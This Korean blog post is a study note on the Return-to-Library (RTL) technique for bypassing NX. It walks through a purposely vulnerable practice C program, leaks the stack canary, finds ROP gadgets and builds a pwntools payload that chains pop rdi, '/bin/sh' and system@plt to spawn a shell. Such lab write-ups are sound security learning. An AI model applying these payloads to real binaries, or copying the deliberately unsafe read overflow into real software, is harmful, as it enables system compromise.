[시스템 해킹] 💥 Exploit Tech : Return to Library(RTL)

zzoni·2022년 8월 5일
0

시스템해킹

목록 보기
13/15

NX 우회 기법!

NX로 인해 버퍼에 주입한 코드를 실행하기는 어려워졌지만,
여전히 스택 버퍼 오버플로우 취약점으로 반환 주소를 덮는 것은 가능하다.
-> 실행 권한이 남아있는 코드 영역으로 반환 주소를 덮으면 되겠군

  • 실행 권한이 있는 메모리 영역은
    일반적으로 바이너리의 코드 영역라이브러리의 코드 영역이다!
    이 중 공격자들은 라이브러리에 주목하였다. 몇몇 라이브러리에는 공격에 유용한 system, execve등 실행과 관련된 함수들이 구현되어있기 때문!
    -> Return to Libc이라는 공격 기법을 개발
    유사한 공격기법으로 Return to PLT가 있는데, 이 공격 기법도 라이브러리의 코드를 사용하는 것이 핵심이다.





⭕ RTL 실습

</> RTL 실습 코드

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];
  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);
  
  // Add system function to plt's entry
  system("echo 'system@plt'");
  
  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);
  
  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  
  return 0;
}

🛡️ 보호 기법

  • checksec rtl
    -> canary, NX, ASLR
    • ASLR은 최신 리눅스 커널에서 기본으로 적용되어 있으므로, 특별한 언급이 없다면 적용된 것!



🔍 코드 분석

const char* binsh = "/bin/sh";
  • "/bin/sh"를 코드 섹션에 추가하는 코드
  • ASLR이 적용돼도 PIE가 적용되지 않으면 코드 세그먼트와 데이터 세그먼트의 주소는 고정되므로, "/bin/sh"의 주소는 고정되어 있다! (PIE는 나중에 배워욤)

system("echo 'system@plt'");
  • PLT에 system을 추가하는 코드
  • Return to PLT
    PLT에는 함수의 주소가 resolve되지 않았을 경우, 함수의 주소를 구하고 실행하는 코드가 적혀있다.
    ASLR이 걸려 있어도 PIE가 적용되어 있지 않다면 PLT의 주소는 고정되므로, 라이브러리의 베이스 주소를 몰라도 이 방법으로 라이브러리 함수를 실행할 수 있다.
    • ELF의 PLT에는 ELF가 실행하는 라이브러리 함수만 포함되므로 위 코드를 작성하면 PLT에 system함수를 추가할 수 있다.

// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);

// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
  • 두 번의 오버플로우로 canary를 우회하고, ret를 덮을 수 있는 코드



🛠 익스플로잇

1. 카나리 릭

RTS에서처럼 첫 번째 입력에서 적절한 길이의 데이터를 입력하여 카나리를 구할 수 있다.

  • buf ~ rbp 거리 : 0x40
  • canary는 전에도 봤다시피....
    -> 0x38 + 1 = 0x39 byte만큼 더미값을 주면 카나리 릭 성공
buf = b"A"*0x39 #0x38 + 1
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))



2. rdi값을 "/bin/sh"의 주소로 설정 및 셸 획득

system("/bin/sh")은 rdi="/bin/sh" 주소인 상태에서 system함수를 호출한 것과 같다.

이 예제에서는
"/bin/sh" 주소를 알고, system함수를 호출항 수 있으므로 system("/bin/sh")을 실행할 수 있다!
-> 이를 위해 리턴가젯 활용

⛓ 리턴 가젯

리턴 가젯(Return gadget)은 다음과 같이 ret로 끝나는 어셈블리 코드 조각을 의미한다!

0x0000000000400853 : pop rdi ; ret

이 예제에서는
rdi의 값을 "/bin/sh"의 주소로 설정하고, system함수를 호출해야하니까
리턴 가젯을 사용하여 리턴 주소와 이후의 버퍼를

addr of ("pop rdi; ret")   <= return address
addr of string "/bin/sh"   <= ret + 0x8
addr of "system" plt       <= ret + 0x10

이렇게 덮으면, pop rdirdi를 "/bin/sh"의 주소로 설정하고, 이어지는 retsystem함수를 호출할 수 있다.

가젯을 쓰는 이유?

  • x86에선 매개변수를 스택으로 넘기기 때문에
    payload : RET(system) + dummy + '/bin/sh'
    우리가 흔히 아는 위 친구로 해주면 되는데
  • x64에선 매개변수를 레지스터로 넘기기 때문에!
    레지스터를 조작해줘야 하므로 가젯을 사용한다.
    payload : RET(gadget) + value + call_func



💥 익스플로잇

  • payload 작성하여 반환 주소 덮기!
    • RET(gadget) : addr of pop rdi
      -> ROPgadget 명령어로 확인
  • value : /bin/sh의 주소
    -> pwndbg에서 search /bin/sh 입력
  • call_func : system의 plt 주소
    -> 1. pwndbg에서 plt 입력

    -> 2. pwntools의 ELF 이용
    system_plt = elf.plt["system"]




system_plt = elf.plt["system"]
binsh = 0x400874
pop_rdi = 0x0000000000400853
ret = 0x0000000000400285

payload = b"A"*0x38 + p64(cnry) + b"A"*0x8             
payload += p64(ret)              # no-op gadget
payload += p64(pop_rdi)
payload += p64(binsh) 
payload += p64(system_plt)






번외 - ROPgadget 설치 오류

pip로 설치하는 게 오류가 나서
git clone으로 ROPgadget을 직접 설치하여 python3 ROPgadget.py로 사용함!
$ git clone https://github.com/JonathanSalwan/ROPgadget.git
$ python3 ROPgadget/ROPgadget.py --binary rtl --re "pop rdi"
이런식으로...

profile
모든 게시물은 다크모드에서 작성되었습니다!

0개의 댓글